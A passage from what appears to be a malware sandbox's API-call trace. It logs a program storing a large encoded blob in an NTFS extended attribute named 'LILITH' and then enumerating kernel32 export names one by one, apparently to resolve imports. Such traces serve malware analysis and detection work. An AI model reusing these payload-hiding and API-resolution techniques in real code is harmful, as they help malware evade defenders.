MHFVYNf1+6L3OEGArprtOHX9qW/iy7uOgfnsQT/gr07cLXYkMHBibzGHrqWwa4VOitU1cEME20ZUdruK9M7g9dJxUdfUtv7cdBsw==" [0055.131] NtSetEaFile (FileHandle=0x224, IoStatusBlock=0x34e7bc, EaBuffer=0x2f80000*(NextEntryOffset=0x0, Flags=0x0, EaNameLength=0x6, EaValueLength=0xa38, EaName="LILITH", EaValue=0x2f8000f*), EaBufferSize=0xa4c) returned 0x0 [0055.134] lstrlenA (lpString="kernel32.dll") returned 12 [0055.134] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.134] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.134] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.134] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.134] lstrlenA (lpString="ADDATOMA") returned 8 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.134] lstrlenA (lpString="ADDATOMW") returned 8 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.134] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.134] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.135] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.135] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.135] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.135] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.135] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.135] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.135] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.135] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.135] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.135] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.135] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.135] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.135] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.135] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.135] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.135] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.135] lstrcpyA (in: lpString1=0x34db0c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.135] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.136] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.136] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.136] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.136] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.136] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.136] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.136] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.136] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.136] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.136] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.136] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.136] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.136] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.136] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.136] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.136] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.137] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.137] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.137] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.137] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.137] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.137] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.137] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.137] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.137] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.137] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.137] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.137] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.137] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.137] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.137] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.137] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.137] lstrcpyA (in: lpString1=0x34db0c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.137] lstrlenA (lpString="BEEP") returned 4 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.138] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.138] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.138] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.138] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.138] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.138] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.138] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.138] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.138] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.138] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.138] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.138] lstrlenA (lpString="CANCELIO") returned 8 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.138] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.138] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.138] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.138] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.138] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.138] lstrcpyA (in: lpString1=0x34db0c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.139] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.139] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.139] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.139] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.139] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.139] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.139] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.139] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.139] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.139] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.139] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.139] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.139] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.139] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.139] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.139] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.139] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.139] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.139] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.140] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.140] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.140] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.140] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.140] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.140] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.140] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.140] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.140] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.140] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.140] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.140] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.140] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.140] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.140] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.140] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.140] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.140] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.140] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.141] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.141] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.141] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.141] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.141] lstrcpyA (in: lpString1=0x34db0c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.153] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.153] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.153] lstrlenA (lpString="COPYFILEA") returned 9 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.153] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.153] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.153] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.153] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.153] lstrlenA (lpString="COPYFILEW") returned 9 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.153] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.153] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.153] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.153] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.154] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.154] lstrcpyA (in: lpString1=0x34db0c, 